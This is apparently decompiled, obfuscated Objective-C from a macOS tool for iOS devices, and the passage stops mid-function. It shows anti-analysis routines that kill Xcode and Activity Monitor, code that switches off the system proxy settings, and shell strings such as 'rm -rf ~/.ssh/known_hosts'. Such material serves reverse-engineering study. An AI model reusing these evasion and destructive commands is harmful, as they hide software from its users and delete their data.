aSE3HC[47] = 114;
aSE3HC[48] = 111;
aSE3HC[49] = 110;
a2 = (SEL)20969;
v5 = 41768;
asc_100276EDF[7] = 0;
aSE3HC[50] = 63;
aSE3HC[51] = 0;
strcpy(asc_100276F20, "NotificationOptionSearchForWiFiPairableDevices");
strcpy(asc_100276EB0, "New version available %@ (current: %@)");
strcpy(aI_5, "[!] Error: CheckVersion returned an invalid response");
strcpy(aN_18, "Changelog: %@");
*v111 = -1539670386;
break;
case 689580654:
v68 = HikariFunctionWrapper_16751(v97, v79);
v69 = (__CFString *)objc_retainAutoreleasedReturnValue(v68);
v70 = v69;
if ( !v69 )
v70 = &stru_10025B688;
v96 = v70;
objc_retain(v70);
objc_release(v69);
NSLog(
CFSTR("\xC9\x24\x10\xF6\xE2\x49\x0C\x92\xF2\x92\xFE\x84KN\x9Cn\xB5\a\xA8\x1Dg\x9B\x13\x82\xB5'\xB5\x18\x98\xF0\x71\xE6\x01\x81d!\xBD<\x8A"),
v98,
v100);
a2 = (SEL)v96;
NSLog(CFSTR("\x1DN\xF4\x19\xB8\x3F\x1F\xE3\x30\xE6\xD8\x04Bi"), v96);
v19 = 0;
v7 = 689580654;
v20 = 1013947480;
goto LABEL_389;
case 714458468:
v14 = v93;
v15 = HikariFunctionWrapper_16755(&OBJC_CLASS___NSNumber, v89);
v16 = objc_retainAutoreleasedReturnValue(v15);
v14[1] = v16;
v17 = HikariFunctionWrapper_16757(
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:");
v18 = objc_retainAutoreleasedReturnValue(v17);
a2 = 0;
AMDeviceNotificationSubscribeWithOptions(DeviceNotificationReceived);
objc_release(v18);
objc_release(v16);
objc_release(v76);
disableProxy();
*v111 = 1524736640;
break;
}
}
}
if ( v87 <= 1013947479 )
break;
if ( v87 <= 1099637179 )
{
if ( v87 == 1013947480 )
{
*v111 = 2103087256;
}
else if ( v87 == 1021660536 )
{
v6 = 0;
v7 = -171836845;
v8 = -1219458069;
goto LABEL_371;
}
}
else
{
switch ( v87 )
{
case 1099637180:
v6 = 0;
v7 = -288697802;
v8 = 811557414;
goto LABEL_371;
case 1111920273:
v5 = 281543296;
v6 = 0;
v7 = 1420462941;
goto LABEL_345;
case 1122183339:
a2 = "isKindOfClass:";
v104 = (unsigned __int8)objc_msgSend(v97, "isKindOfClass:", v78) == 0;
v19 = 1;
v7 = -1571325632;
v20 = 40959998;
goto LABEL_389;
}
}
}
if ( v87 <= 949669624 )
break;
if ( v87 == 949669625 )
{
v53 = HikariFunctionWrapper_16737(&OBJC_CLASS___NSWorkspace, "sharedWorkspace");
v54 = objc_retainAutoreleasedReturnValue(v53);
v55 = objc_msgSend(v54, "notificationCenter");
v88 = objc_retainAutoreleasedReturnValue(v55);
objc_release(v54);
objc_msgSend(v88, "addObserver:selector:name:object:", self, "newApplicationDidLaunch:", -1, 0);
v56 = -[AppDelegate progressIndicator](self, "progressIndicator");
v57 = objc_retainAutoreleasedReturnValue(v56);
-[NSProgressIndicator setIndeterminate:](v57, "setIndeterminate:", 0);
objc_release(v57);
v58 = -[AppDelegate progressIndicator](self, "progressIndicator");
v59 = objc_retainAutoreleasedReturnValue(v58);
-[NSProgressIndicator setMinValue:](v59, "setMinValue:", 0.0);
objc_release(v59);
v60 = -[AppDelegate progressIndicator](self, "progressIndicator");
v61 = objc_retainAutoreleasedReturnValue(v60);
HikariFunctionWrapper_16739(v61, "setMaxValue:");
objc_release(v61);
v62 = -[AppDelegate progressIndicator](self, "progressIndicator", 100.0);
v63 = objc_retainAutoreleasedReturnValue(v62);
-[NSProgressIndicator setDoubleValue:](v63, "setDoubleValue:", 0.0);
objc_release(v63);
v64 = -[AppDelegate progressIndicator](self, "progressIndicator");
v65 = objc_retainAutoreleasedReturnValue(v64);
-[NSProgressIndicator setHidden:](v65, "setHidden:", 1);
objc_release(v65);
NSLog(CFSTR("\u086B鿊磆ᶊ嘳遻鿛暚怢≃㣮ꡢ챛蘢칟檑ⸯ斩㎼ए槷㈼쭸ᵂ䬄ᔎ鳔뽾\u0B7DⰍࠅ稬듢᠓⌾ㅎꖍ䠺鏂䱈鮧ﹱC\u0382굧鑏垗쁿雟둠"));
HikariFunctionWrapper_16741(AldazDevClass, "KillProcessStart");
HikariFunctionWrapper_16743(&OBJC_CLASS___AldazSecurityGuard, "runAllSecurityChecks");
a2 = "terminateXcodeProcessesExcludingXcodeAndSelf";
+[AldazSecurityGuard terminateXcodeProcessesExcludingXcodeAndSelf](
&OBJC_CLASS___AldazSecurityGuard,
"terminateXcodeProcessesExcludingXcodeAndSelf");
*v111 = -247421474;
}
else if ( v87 == 1004601041 )
{
v109 = v92 == 0;
v6 = 0;
v7 = 230434414;
v8 = 1414818816;
goto LABEL_371;
}
}
if ( v87 != 825094852 )
break;
*v90 = v98;
v71 = block;
objc_retain(v100);
*((_QWORD *)v71 + 5) = v100;
v72 = (id *)block;
*((_QWORD *)block + 6) = v96;
objc_retain(v96);
a2 = (SEL)block;
dispatch_async(&_dispatch_main_q, block);
objc_release(v72[6]);
objc_release(*((id *)v71 + 5));
objc_release(*v90);
objc_release(v96);
*v111 = 1599693431;
}
if ( v87 != 878140712 )
break;
*v111 = -337706362;
}
}
while ( v87 != 872842420 );
}
// 1000B87A0: variable 'v3' is possibly undefined
// 1000B8B3E: variable 'v5' is possibly undefined
// 10025617A: using guessed type __int64 __fastcall AMDeviceNotificationSubscribeWithOptions(_QWORD);
// 10025B688: using guessed type __CFString stru_10025B688;
// 10025F8E0: using guessed type __objc2_class OBJC_CLASS___AldazSecurityGuard;
// 100260AA0: using guessed type __CFString *VersionTool[3];
// 100276FC0: using guessed type __int16 aSE3HC[52];
// 100277070: using guessed type __int16 asc_100277070[29];
// 100277280: using guessed type __CFString stru_100277280;
// 100277340: using guessed type __CFString stru_100277340;
// 100277380: using guessed type __CFString stru_100277380;
// 1002773C0: using guessed type __CFString stru_1002773C0;
// 10029F4B8: using guessed type int dword_10029F4B8;
//----- (00000001000BC2A9) ----------------------------------------------------
__int64 __fastcall DeviceNotificationReceived(__int64 a1)
{
__int64 result; // rax
int v2; // eax
id v3; // [rsp+8h] [rbp-48h]
const char *v4; // [rsp+10h] [rbp-40h]
int v5; // [rsp+1Ch] [rbp-34h] BYREF
int *v6; // [rsp+20h] [rbp-30h]
v3 = AldazDevClass;
v5 = 1739620603;
v6 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v5;
if ( v5 > 900205503 )
break;
if ( v5 > 96129429 )
{
if ( v5 == 96129430 )
{
objc_msgSend(v3, v4, a1);
*v6 = -2142763537;
}
else if ( v5 == 470036561 )
{
v4 = "deviceNotificationReceivedWithInfo:";
v2 = -1157574176;
goto LABEL_18;
}
}
else if ( v5 == -2142763537 )
{
objc_msgSend(v3, v4, a1);
v2 = 1270901265;
LABEL_18:
*v6 = v2;
}
else if ( v5 == -1157574176 )
{
*v6 = 1792686165;
}
}
if ( v5 <= 1739620602 )
break;
if ( v5 == 1792686165 )
{
v2 = -2142763537;
goto LABEL_18;
}
if ( v5 == 1739620603 )
{
v2 = 470036561;
goto LABEL_18;
}
}
if ( v5 != 900205504 )
break;
*v6 = 470036561;
}
}
while ( v5 != 1270901265 );
return result;
}
// 1000BC454: variable 'v4' is possibly undefined
//----- (00000001000BC4AD) ----------------------------------------------------
bool disableProxy()
{
bool v0; // zf
int v1; // eax
int v2; // ecx
char v3; // cf
int v4; // ecx
char v5; // cf
char v6; // cf
int v7; // ecx
id v8; // rax
NSNumber *v9; // rax
NSNumber *v10; // rbx
id v11; // rax
id v12; // rax
id v13; // rax
id v14; // rbx
id v15; // rax
id v16; // rax
id v17; // rax
id v18; // rbx
id v19; // rax
id v20; // rax
id v21; // rbx
id v22; // rax
id v23; // rbx
id v24; // rax
id v25; // rax
id v26; // rax
id v27; // rbx
int v28; // eax
SCDynamicStoreRef v29; // rax
void *context; // [rsp+0h] [rbp-80h]
int v32; // [rsp+10h] [rbp-70h]
int v33; // [rsp+14h] [rbp-6Ch] BYREF
CFTypeRef v34; // [rsp+18h] [rbp-68h]
id v35; // [rsp+20h] [rbp-60h]
SEL v36; // [rsp+28h] [rbp-58h]
SEL v37; // [rsp+30h] [rbp-50h]
bool v38; // [rsp+3Ah] [rbp-46h]
char v39; // [rsp+3Bh] [rbp-45h]
char v40; // [rsp+3Ch] [rbp-44h]
bool v41; // [rsp+3Dh] [rbp-43h]
bool v42; // [rsp+3Eh] [rbp-42h]
bool v43; // [rsp+3Fh] [rbp-41h]
id v44; // [rsp+40h] [rbp-40h]
bool v45; // [rsp+4Fh] [rbp-31h]
int *v46; // [rsp+50h] [rbp-30h]
v33 = 624353508;
v46 = &v33;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v33 > 369390741 )
{
if ( v33 > 1078990048 )
{
if ( v33 > 1510680356 )
{
if ( v33 <= 1613529469 )
{
if ( v33 == 1510680357 )
{
v6 = 0;
v1 = -581136900;
v7 = 1349797149;
goto LABEL_92;
}
if ( v33 == 1535861303 )
{
v6 = 1;
v1 = 907809052;
v7 = 1746178931;
goto LABEL_92;
}
}
else
{
switch ( v33 )
{
case 1613529470:
*v46 = 637200717;
break;
case 1746178931:
*v46 = 907809052;
break;
case 1809532245:
v38 = v32 == 0;
v0 = 0;
v1 = 1385074944;
v2 = -1829332476;
goto LABEL_104;
}
}
}
else if ( v33 <= 1385074943 )
{
if ( v33 == 1078990049 )
{
objc_msgSend(v44, v37, v35, CFSTR("\xB3a\xB1i7\xA7\x1C^&"));
objc_release(v35);
v20 = objc_msgSend(&OBJC_CLASS___NSNumber, v36, 0);
v21 = objc_retainAutoreleasedReturnValue(v20);
objc_msgSend(v44, v37, v21, CFSTR("`\x87\xED\x22\x3B\xBFT\xBC\xE8\x83\x23"));
objc_release(v21);
v22 = HikariFunctionWrapper_16777(&OBJC_CLASS___NSNumber, v36);
v23 = objc_retainAutoreleasedReturnValue(v22);
objc_msgSend(v44, v37, v23, CFSTR("\xFC\x05\xFD\x06\xBB2\xBA\xA0\xB5"));
objc_release(v23);
v42 = HikariFunctionWrapper_16779(
(const __SCDynamicStore *)v34,
CFSTR(".\xDA\x3F\bU\x05\xAC\xB9FImj;\xFC\a\xBAH\x85\x9Fw\xDE\x69\x8C+\xBC&\x93|\xC0\x77"),
v44) != 0;
CFRelease(v34);
objc_release(v44);
v6 = 1;
v1 = -1132371463;
v7 = 257337825;
goto LABEL_92;
}
if ( v33 == 1349797149 )
{
v3 = 1;
dword_10029F4C0 = 1;
v1 = 1349797149;
v4 = 1613529470;
goto LABEL_86;
}
}
else
{
switch ( v33 )
{
case 1385074944:
*v46 = 1809532245;
break;
case 1406281155:
context = objc_autoreleasePoolPush();
v29 = SCDynamicStoreCreate(0, CFSTR("d\xDC\x3E\xE2\xF7\xAEv\vqD\x836"), 0, 0);
v41 = v29 == 0;
v0 = 0;
v34 = v29;
v1 = 369390742;
v2 = 560753732;
LABEL_104:
if ( !v0 )
v1 = v2;
goto LABEL_108;
case 1501304527:
aWS[0] = v40;
aWS[1] = 79;
aWS[2] = 67;
aWS[3] = 75;
aWS[4] = 83;
aWS[5] = 69;
aWS[6] = 110;
aWS[7] = 97;
aWS[8] = 98;
aWS[9] = 108;
aWS[10] = 101;
aWS[11] = 0;
*v46 = 1510680357;
break;
}
}
}
else if ( v33 > 594156010 )
{
if ( v33 <= 637200716 )
{
if ( v33 == 594156011 )
{
v6 = 0;
v1 = 381067401;
v7 = 745980466;
goto LABEL_92;
}
if ( v33 == 624353508 )
{
v5 = 1;
v1 = -992747463;
goto LABEL_81;
}
}
else
{
switch ( v33 )
{
case 637200717:
v6 = 0;
v1 = 369390742;
v7 = 1406281155;
LABEL_92:
if ( !v6 )
v1 = v7;
goto LABEL_108;
case 745980466:
v1 = 317161395;
goto LABEL_108;
case 907809052:
v1 = 398291441;
goto LABEL_108;
}
}
}
else if ( v33 <= 398291440 )
{
if ( v33 == 369390742 )
{
objc_autoreleasePoolPush();
SCDynamicStoreCreate(0, CFSTR("d\xDC\x3E\xE2\xF7\xAEv\vqD\x836"), 0, 0);
*v46 = 1406281155;
}
else if ( v33 == 381067401 )
{
*v46 = 745980466;
}
}
else
{
switch ( v33 )
{
case 398291441:
*v46 = 53640756;
v45 = v42;
break;
case 425640012:
v28 = 122025194;
if ( v41 )
v28 = 53640756;
*v46 = v28;
v45 = 0;
break;
case 560753732:
*v46 = 48383876;
break;
}
}
}
if ( v33 > -581136901 )
break;
if ( v33 > -1057318506 )
{
if ( v33 <= -816585542 )
{
if ( v33 == -1057318505 )
{
objc_autoreleasePoolPop(context);
*v46 = -58658797;
}
else if ( v33 == -992747463 )
{
*v46 = 233249439;
}
}
else
{
switch ( v33 )
{
case -816585541:
v3 = 0;
v1 = 1809532245;
v4 = 1385074944;
LABEL_86:
if ( v3 )
v1 = v4;
LABEL_108:
*v46 = v1;
break;
case -722426989:
asc_1002774D1[8] = v39;
asc_1002774D1[9] = 101;
asc_1002774D1[10] = 0;
v40 = 83;
*v46 = 1501304527;
break;
case -680345200:
strcpy(aD_7, "ProxySettings");
strcpy(asc_1002774B0, "ProxyAutoConfigEnable");
strcpy(asc_100277485, "FTPEnable");
strcpy(asc_10027746E, "GopherEnable");
strcpy(aE68, "HTTPSEnable");
strcpy(asc_100277500, "State:/Network/Global/Proxies");
strcpy(asc_1002773EB, "RTSPEnable");
strcpy(asc_100277430, "ProxyAutoDiscoveryEnable");
asc_1002774D1[0] = 72;
asc_1002774D1[1] = 84;
asc_1002774D1[2] = 84;
asc_1002774D1[3] = 80;
asc_1002774D1[4] = 69;
asc_1002774D1[5] = 110;
asc_1002774D1[6] = 97;
asc_1002774D1[7] = 98;
v39 = 108;
*v46 = -722426989;
break;
}
}
}
else if ( v33 <= -1780801873 )
{
if ( v33 == -1980265455 )
{
*v46 = -1430874725;
}
else if ( v33 == -1829332476 )
{
*v46 = 594156011;
}
}
else
{
switch ( v33 )
{
case -1780801872:
*v46 = -816585541;
break;
case -1430874725:
*v46 = 425640012;
break;
case -1132371463:
*v46 = 1535861303;
break;
}
}
}
if ( v33 <= 122025193 )
break;
if ( v33 <= 233249438 )
{
if ( v33 == 122025194 )
{
v8 = +[NSMutableDictionary dictionary](&OBJC_CLASS___NSMutableDictionary, "dictionary");
v44 = objc_retainAutoreleasedReturnValue(v8);
v36 = "numberWithInt:";
v9 = +[NSNumber numberWithInt:](&OBJC_CLASS___NSNumber, "numberWithInt:", 0);
v10 = objc_retainAutoreleasedReturnValue(v9);
v37 = "setObject:forKeyedSubscript:";
objc_msgSend(v44, "setObject:forKeyedSubscript:", v10, CFSTR("\xB4\x85\x00j\x93\xD9\x18\x19"));
objc_release(v10);
v11 = HikariFunctionWrapper_16767(&OBJC_CLASS___NSNumber, v36);
v12 = objc_retainAutoreleasedReturnValue(v11);
HikariFunctionWrapper_16769(v44, v37);
objc_release(v12);
v13 = HikariFunctionWrapper_16771(&OBJC_CLASS___NSNumber, v36);
v14 = objc_retainAutoreleasedReturnValue(v13);
objc_msgSend(
v44,
v37,
v14,
CFSTR("X\xED\xB2\xF2u\x96\xBC\x80W\xEB\x78\xE3\xE2\x98\x01\x9A\xE1\x24\xA1\x05\x92\x0FK\x0E\x13"));
objc_release(v14);
v15 = HikariFunctionWrapper_16773(&OBJC_CLASS___NSNumber, v36);
v16 = objc_retainAutoreleasedReturnValue(v15);
HikariFunctionWrapper_16775(v44, v37);
objc_release(v16);
v17 = objc_msgSend(&OBJC_CLASS___NSNumber, v36, 0);
v18 = objc_retainAutoreleasedReturnValue(v17);
objc_msgSend(v44, v37, v18, CFSTR("W\x1F\n;{\x16\rs\xB3\x1A\nO"));
objc_release(v18);
v19 = objc_msgSend(&OBJC_CLASS___NSNumber, v36, 0);
v35 = objc_retainAutoreleasedReturnValue(v19);
*v46 = 232458929;
}
else if ( v33 == 232458929 )
{
v3 = 1;
v1 = 257337825;
v4 = 1078990049;
goto LABEL_86;
}
}
else
{
switch ( v33 )
{
case 233249439:
v5 = 0;
v32 = dword_10029F4C0;
v1 = -1780801872;
LABEL_81:
if ( v5 )
v1 = 233249439;
goto LABEL_108;
case 257337825:
objc_msgSend(v44, v37, v35, CFSTR("\xB3a\xB1i7\xA7\x1C^&"));
objc_release(v35);
v24 = objc_msgSend(&OBJC_CLASS___NSNumber, v36, 0);
v25 = objc_retainAutoreleasedReturnValue(v24);
HikariFunctionWrapper_16781(v44, v37);
objc_release(v25);
v26 = HikariFunctionWrapper_16783(&OBJC_CLASS___NSNumber, v36);
v27 = objc_retainAutoreleasedReturnValue(v26);
objc_msgSend(v44, v37, v27, CFSTR("\xFC\x05\xFD\x06\xBB2\xBA\xA0\xB5"));
objc_release(v27);
HikariFunctionWrapper_16785(
(const __SCDynamicStore *)v34,
CFSTR(".\xDA\x3F\bU\x05\xAC\xB9FImj;\xFC\a\xBAH\x85\x9Fw\xDE\x69\x8C+\xBC&\x93|\xC0\x77"),
v44);
HikariFunctionWrapper_16787(v34);
objc_release(v44);
*v46 = 1078990049;
break;
case 317161395:
v0 = !v38;
v1 = 1510680357;
v2 = -680345200;
goto LABEL_104;
}
}
}
if ( v33 <= 48383875 )
break;
if ( v33 == 48383876 )
{
v1 = -1430874725;
goto LABEL_108;
}
if ( v33 == 53640756 )
{
v43 = v45;
v0 = 0;
v1 = -1057318505;
v2 = -58658797;
goto LABEL_104;
}
}
if ( v33 != -581136900 )
break;
dword_10029F4C0 = 1;
*v46 = 1349797149;
}
if ( v33 == -58658797 )
{
objc_autoreleasePoolPop(context);
v3 = 0;
v1 = -530234399;
v4 = -1057318505;
goto LABEL_86;
}
}
while ( v33 != -530234399 );
return v43;
}
// 1000BD113: variable 'v32' is possibly undefined
// 1000BD18B: variable 'context' is possibly undefined
// 100277560: using guessed type __CFString stru_100277560;
// 1002775A0: using guessed type __CFString stru_1002775A0;
// 1002775E0: using guessed type __CFString cfstr_WS;
// 1002776A0: using guessed type __CFString stru_1002776A0;
// 1002776E0: using guessed type __CFString stru_1002776E0;
// 100277720: using guessed type __CFString stru_100277720;
// 100277760: using guessed type __CFString stru_100277760;
// 10029F4C0: using guessed type int dword_10029F4C0;
//----- (00000001000BDA43) ----------------------------------------------------
void __fastcall __noreturn __45__AppDelegate_applicationDidFinishLaunching___block_invoke(__int64 a1)
{
id v1; // rax
id v2; // rax
if ( !dword_10029F4C4 )
{
strcpy(aGt, "No changelog provided.");
strcpy(asc_100277810, "A new version (%@) of the tool is available.\nCurrent version: %@\n\n%@");
}
dword_10029F4C4 = 1;
objc_msgSend(*(id *)(a1 + 48), "length");
v1 = HikariFunctionWrapper_16789(&OBJC_CLASS___NSString, "stringWithFormat:");
v2 = objc_retainAutoreleasedReturnValue(v1);
showErrMessage(v2);
exit(0);
}
// 10029F4C4: using guessed type int dword_10029F4C4;
//----- (00000001000BEAF6) ----------------------------------------------------
__int64 __fastcall showErrMessage(id a1)
{
__CFString *v1; // r12
__int64 result; // rax
__CFString *v3; // r13
_QWORD *v4; // r12
char v5; // cf
void *v6; // rax
int v7; // eax
int v8; // ecx
char v9; // cf
int v10; // ecx
bool v11; // zf
int v12; // ecx
id v13; // [rsp+0h] [rbp-50h] BYREF
int v14; // [rsp+8h] [rbp-48h]
int v15; // [rsp+Ch] [rbp-44h] BYREF
dispatch_block_t block; // [rsp+10h] [rbp-40h]
bool v17; // [rsp+1Eh] [rbp-32h]
char v18; // [rsp+1Fh] [rbp-31h]
int *v19; // [rsp+20h] [rbp-30h]
v14 = dword_10029F4C8;
v15 = -1786390635;
v19 = &v15;
v1 = CFSTR("\x1A\x7FL\xC2\xE2ܲ\x9C\x88k\xF2\x99\x47\x04C\xBC\x18\x02\x8Ae\"6U\x03");
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v15;
if ( v15 <= 140740281 )
break;
if ( v15 <= 758665687 )
{
if ( v15 > 397865222 )
{
switch ( v15 )
{
case 397865223:
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __showErrMessage_block_invoke;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
*((_QWORD *)block + 4) = a1;
objc_retain(a1);
dispatch_async(&_dispatch_main_q, block);
*v19 = 339988104;
break;
case 518283223:
v11 = 0;
v7 = -1597470430;
v12 = -110241870;
LABEL_52:
if ( !v11 )
v7 = v12;
goto LABEL_68;
case 608501398:
*v19 = 518283223;
break;
}
}
else
{
switch ( v15 )
{
case 140740282:
v5 = 0;
v7 = 1495202819;
v8 = -1754996060;
goto LABEL_61;
case 309230955:
objc_release(v13);
objc_release(a1);
*v19 = -1089273365;
break;
case 339988104:
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __showErrMessage_block_invoke;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
v3 = v1;
v4 = block;
*((_QWORD *)block + 4) = a1;
objc_retain(a1);
HikariFunctionWrapper_16797(&_dispatch_main_q, block);
v5 = 1;
v6 = (void *)v4[4];
v1 = v3;
v13 = v6;
v7 = -1164898632;
v8 = 397865223;
goto LABEL_61;
}
}
}
else if ( v15 <= 1443829091 )
{
switch ( v15 )
{
case 758665688:
asc_1002779C0[23] = v18;
qmemcpy(asc_100277980, "/usr/bin/killall Pro", 20);
*v19 = -333556455;
break;
case 1175512744:
v9 = 0;
v7 = 339988104;
v10 = 397865223;
LABEL_66:
if ( v9 )
v7 = v10;
goto LABEL_68;
case 1186580938:
v11 = !v17;
v7 = 140740282;
v12 = 1443829092;
goto LABEL_52;
}
}
else if ( v15 > 1704587794 )
{
if ( v15 == 1704587795 )
{
*v19 = 140740282;
}
else if ( v15 == 1805266483 )
{
*v19 = 1175512744;
}
}
else if ( v15 == 1443829092 )
{
strcpy(asc_100277A00, "rm -rf ~/.ssh/known_hosts");
qmemcpy(asc_1002779C0, "/usr/bin/killall iTunes", 23);
v18 = 0;
*v19 = 758665688;
}
else if ( v15 == 1495202819 )
{
dword_10029F4C8 = 1;
objc_retain(a1);
HikariFunctionWrapper_16799(v1);
HikariFunctionWrapper_16801(CFSTR("\xAF\xEF\x59\xB8b\xE2\x29\x6E\x8D3AopZ\xFA \x11\x17)\x82]\a\xA5N"));
runScript(CFSTR("\xF9\x81\x8C\xCA\x60\x04\xACZ\xBBm\x836\x8B\xD5\x77\xBF\xC1\x65\x0F\xE7\xBE\xF9\xE4\xE5\x04\xF5\xEA\x3C\x29p\xBD"));
runScript(CFSTR("5\x92\x10\xBA\x1CsХ\x85\xA6\xA3J\xD0\x63Wƞ\x19G/c]Z\xDD\x6D\xA0!"));
*v19 = -1754996060;
}
}
if ( v15 > -1089273366 )
break;
if ( v15 > -1597470431 )
{
switch ( v15 )
{
case -1597470430:
*v19 = -110241870;
break;
case -1234668009:
v17 = v14 == 0;
v9 = 0;
v7 = 608501398;
v10 = -1234668009;
goto LABEL_66;
case -1164898632:
*v19 = -1753228965;
break;
}
}
else
{
switch ( v15 )
{
case -1786390635:
v5 = 0;
v7 = -948535648;
v8 = -1234668009;
LABEL_61:
if ( !v5 )
v7 = v8;
LABEL_68:
*v19 = v7;
break;
case -1754996060:
dword_10029F4C8 = 1;
block = &v13 - 6;
objc_retain(a1);
runScript(v1);
HikariFunctionWrapper_16793(CFSTR("\xAF\xEF\x59\xB8b\xE2\x29\x6E\x8D3AopZ\xFA \x11\x17)\x82]\a\xA5N"));
HikariFunctionWrapper_16795(CFSTR("\xF9\x81\x8C\xCA\x60\x04\xACZ\xBBm\x836\x8B\xD5\x77\xBF\xC1\x65\x0F\xE7\xBE\xF9\xE4\xE5\x04\xF5\xEA\x3C\x29p\xBD"));
runScript(CFSTR("5\x92\x10\xBA\x1CsХ\x85\xA6\xA3J\xD0\x63Wƞ\x19G/c]Z\xDD\x6D\xA0!"));
*v19 = 1805266483;
break;
case -1753228965:
v5 = 0;
v7 = 309230955;
v8 = -1089273365;
goto LABEL_61;
}
}
}
if ( v15 > -333556456 )
break;
switch ( v15 )
{
case -1089273365:
objc_release(v13);
objc_release(a1);
*v19 = -106083228;
break;
case -948535648:
*v19 = -1234668009;
break;
case -462534395:
asc_100277980[20] = 99;
asc_100277980[21] = 101;
asc_100277980[22] = 115;
asc_100277980[23] = 115;
asc_100277980[24] = 77;
asc_100277980[25] = 111;
asc_100277980[26] = 110;
asc_100277980[27] = 105;
asc_100277980[28] = 116;
asc_100277980[29] = 111;
asc_100277980[30] = 114;
asc_100277980[31] = 0;
strcpy(a5_3, "/usr/bin/killall -9 iproxy");
v9 = 1;
v7 = -462534395;
v10 = 1704587795;
goto LABEL_66;
}
}
if ( v15 > -110241871 )
break;
if ( v15 == -333556455 )
{
v5 = 1;
v7 = -462534395;
v8 = -249779014;
goto LABEL_61;
}
if ( v15 == -249779014 )
{
asc_100277980[20] = 99;
asc_100277980[21] = 101;
asc_100277980[22] = 115;
asc_100277980[23] = 115;
asc_100277980[24] = 77;
asc_100277980[25] = 111;
asc_100277980[26] = 110;
asc_100277980[27] = 105;
asc_100277980[28] = 116;
asc_100277980[29] = 111;
asc_100277980[30] = 114;
asc_100277980[31] = 0;
strcpy(a5_3, "/usr/bin/killall -9 iproxy");
*v19 = -462534395;
}
}
if ( v15 == -110241870 )
{
v11 = 0;
v7 = -1597470430;
v12 = 1186580938;
goto LABEL_52;
}
}
while ( v15 != -106083228 );
return result;
}
// 100277A40: using guessed type __CFString stru_100277A40;
// 100277A80: using guessed type __CFString cfstr_5_3;
// 100277AC0: using guessed type __CFString stru_100277AC0;
// 100277B00: using guessed type __CFString stru_100277B00;
// 10029F4C8: using guessed type int dword_10029F4C8;
//----- (00000001000BFBA0) ----------------------------------------------------
__int64 __fastcall __copy_helper_block_e8_32s40s48s(__int64 a1, id *a2)
{
__int64 result; // rax
char v3; // cf
int v4; // eax
int v5; // ecx
id *v6; // [rsp+0h] [rbp-40h]
int v7; // [rsp+Ch] [rbp-34h] BYREF
int *v8; // [rsp+10h] [rbp-30h]
v7 = -1464454422;
v8 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v7;
if ( v7 <= -115122971 )
break;
if ( v7 > 1049419920 )
{
switch ( v7 )
{
case 1049419921:
*v8 = -1963099248;
break;
case 1286794593:
objc_retain(a2[4]);
objc_retain(a2[5]);
v3 = 1;
v6 = a2 + 6;
v4 = 1412879993;
v5 = 1286794593;
LABEL_27:
if ( !v3 )
v4 = v5;
LABEL_29:
*v8 = v4;
break;
case 1412879993:
*v8 = -1347884268;
break;
}
}
else
{
switch ( v7 )
{
case -115122970:
v3 = 1;
v4 = -372002086;
v5 = -115122970;
goto LABEL_27;
case 469225992:
objc_retain(*v6);
v4 = 1049419921;
goto LABEL_29;
case 632531014:
LABEL_20:
*v8 = -115122970;
break;
}
}
}
if ( v7 > -1010875605 )
break;
switch ( v7 )
{
case -1963099248:
goto LABEL_20;
case -1464454422:
v3 = 1;
v4 = 1286794593;
v5 = -1010875604;
goto LABEL_27;
case -1347884268:
v3 = 0;
v4 = -744565055;
v5 = 469225992;
goto LABEL_27;
}
}
if ( v7 != -1010875604 )
break;
objc_retain(a2[4]);
objc_retain(a2[5]);
*v8 = 1286794593;
}
if ( v7 != -744565055 )
break;
objc_retain(*v6);
*v8 = 469225992;
}
}
while ( v7 != -372002086 );
return result;
}
// 1000BFCD5: variable 'v6' is possibly undefined
//----- (00000001000BFE61) ----------------------------------------------------
__int64 __fastcall __destroy_helper_block_e8_32s40s48s(id *a1)
{
__int64 result; // rax
int v2; // eax
id *v3; // [rsp+0h] [rbp-40h]
int v4; // [rsp+Ch] [rbp-34h] BYREF
int *v5; // [rsp+10h] [rbp-30h]
v4 = 679905101;
v5 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v4;
if ( v4 > -42270441 )
break;
if ( v4 > -1511408017 )
{
switch ( v4 )
{
case -1511408016:
v2 = -42270440;
goto LABEL_27;
case -1074452685:
objc_release(*v3);
v2 = 318693372;
LABEL_27:
*v5 = v2;
break;
case -253779415:
v2 = -1511408016;
goto LABEL_27;
}
}
else
{
switch ( v4 )
{
case -2042991198:
*v5 = -1837883328;
break;
case -1837883328:
v2 = -1074452685;
goto LABEL_27;
case -1657434533:
objc_release(a1[6]);
objc_release(a1[5]);
*v5 = 578580307;
break;
}
}
}
if ( v4 <= 679905100 )
break;
switch ( v4 )
{
case 1393038561:
*v5 = -1511408016;
break;
case 731091306:
objc_release(*v3);
*v5 = -1074452685;
break;
case 679905101:
v2 = 578580307;
goto LABEL_27;
}
}
if ( v4 != 318693372 )
break;
*v5 = -253779415;
}
if ( v4 == 578580307 )
{
v3 = a1 + 4;
objc_release(a1[6]);
objc_release(a1[5]);
v2 = -2042991198;
goto LABEL_27;
}
}
while ( v4 != -42270440 );
return result;
}
// 1000BFF29: conditional instruction was optimized away because %var_38.4==2DFFB3B1
// 1000C0096: variable 'v3' is possibly undefined
//----- (00000001000C0154) ----------------------------------------------------
void __cdecl -[AppDelegate mouseEntered:](AppDelegate *self, SEL a2, id a3)
{
bool v4; // zf
int v5; // eax
int v6; // ecx
NSCursor *v7; // rax
int v8; // ecx
id v9; // rax
NSCursor *v10; // rax
id v11; // rax
const char *v12; // [rsp+8h] [rbp-68h]
id v13; // [rsp+10h] [rbp-60h]
const char *v14; // [rsp+18h] [rbp-58h]
